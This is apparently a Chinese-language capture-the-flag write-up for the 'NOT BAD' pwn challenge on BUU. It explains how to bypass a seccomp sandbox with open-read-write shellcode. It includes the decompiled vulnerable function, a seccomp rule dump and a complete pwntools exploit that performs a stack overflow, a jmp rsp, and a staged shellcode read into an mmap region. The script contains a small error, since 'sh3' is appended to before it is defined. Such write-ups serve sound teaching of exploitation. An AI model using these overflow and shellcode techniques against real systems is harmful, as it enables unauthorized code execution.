沙盒orw

沙盒填坑基础 改天上堆题的orw补坑

概述

例题buu 极客大挑战 NOT BAD

什么是orw?

所谓orw就是open read write 打开flag 写入flag 输出flag

大概思路 这种题都会mmap一段内存在栈上

关于mmap如下

我们先用read让可以利用的变量结合上汇编语言跳转到mmap的地方

然后去写入我们的orw 就可以得到flag了QWQ

详解

直冲漏洞函数

很显然可以溢出0x10,但是无论是栈迁移还是泄露libc都是不可能的太小了

但是我们可以去进行orw,先进行沙箱检测

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Easy shellcode, have fun!");
read(0, buf, 0x38uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

很好orw权限都开了没问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
q@ubuntu:~$ seccomp-tools dump ./not
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

先上exp,然后细说

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
io=process('./not')
#io=remote('node3.buuoj.cn',28726)
context.log_level='debug'
context.arch='amd64'


jmp_rsp=0x400a01
mmap_place=0x123000
#place=0x601000

io.recvuntil('have fun!\n')



#sh3=asm(shellcraft.open('./flag.txt'))
sh3+=asm(shellcraft.open('./flag'))
sh3+=asm(shellcraft.read(3,mmap_place+0x300,0x100))#about that 0x300 you add anymore is not importance you just need to sure mmap_place+x in vmmap around
sh3+=asm(shellcraft.write(1,mmap_place+0x300,0x100))


sh1=asm(shellcraft.read(0,mmap_place,500))+asm("mov rax,0x123000;call rax")
#gdb.attach(io,"b *0x400A49")
sh1=sh1.ljust(40,'\x00')
sh1+=p64(jmp_rsp)
sh1+=asm("sub rsp,0x30;jmp rsp")

io.sendline(sh1)

sleep(1)
io.sendline(sh3)

io.interactive()

sh1非常好理解就是,开头40个\x00就是单纯的填充到ebp,然后利用shellcraft函数去利用read函数进行mmap的跳转

跳转用的汇编就是后面asm里的汇编语言

asm(“sub rsp,0x30;jmp rsp”)为什么是0x30?

因为rsp-0x30就是buf,咋看的?来看ida

buf距离end of stack variables共计0x30

1
2
3
4
5
-0000000000000020 buf             db 32 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

ok继续看,为什么是jmp rsp?

如果直接栈溢出,想要一溢出就执行shellcode是不可行的。要么使用call,要么使用像这里的jmp rsp,要么把shellcode的起始地址写到溢出的位置。

我们还要跳转到rsp指针去让他执行里面内容才可以

接着看关键的sh3构造orw

打开open flag这个没什么好说的

然后read这里必须好好讲讲

mmap_place地址多少?一般程序有注释,也可以gdb vmmap

1
asm(shellcraft.read(3,mmap_place+0x300,0x100))

vmmap如下,这段空间大小0x1000,也就是说read里面读取到哪里都无所谓反正mmap_place+x<=max_place就可以,后面那个0x100是读取大小

1
2
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x123000 0x124000 -wxp 1000 0

划重点!!!!!read()函数第一个变量 fd 是文件描述符

write也是一样的第一个参数

如下图我们可以知道对于文件描述符0-2都是保留的用于缓冲区

我们第一个打开文件的文件描述符必定是3

第二个是4

以此类推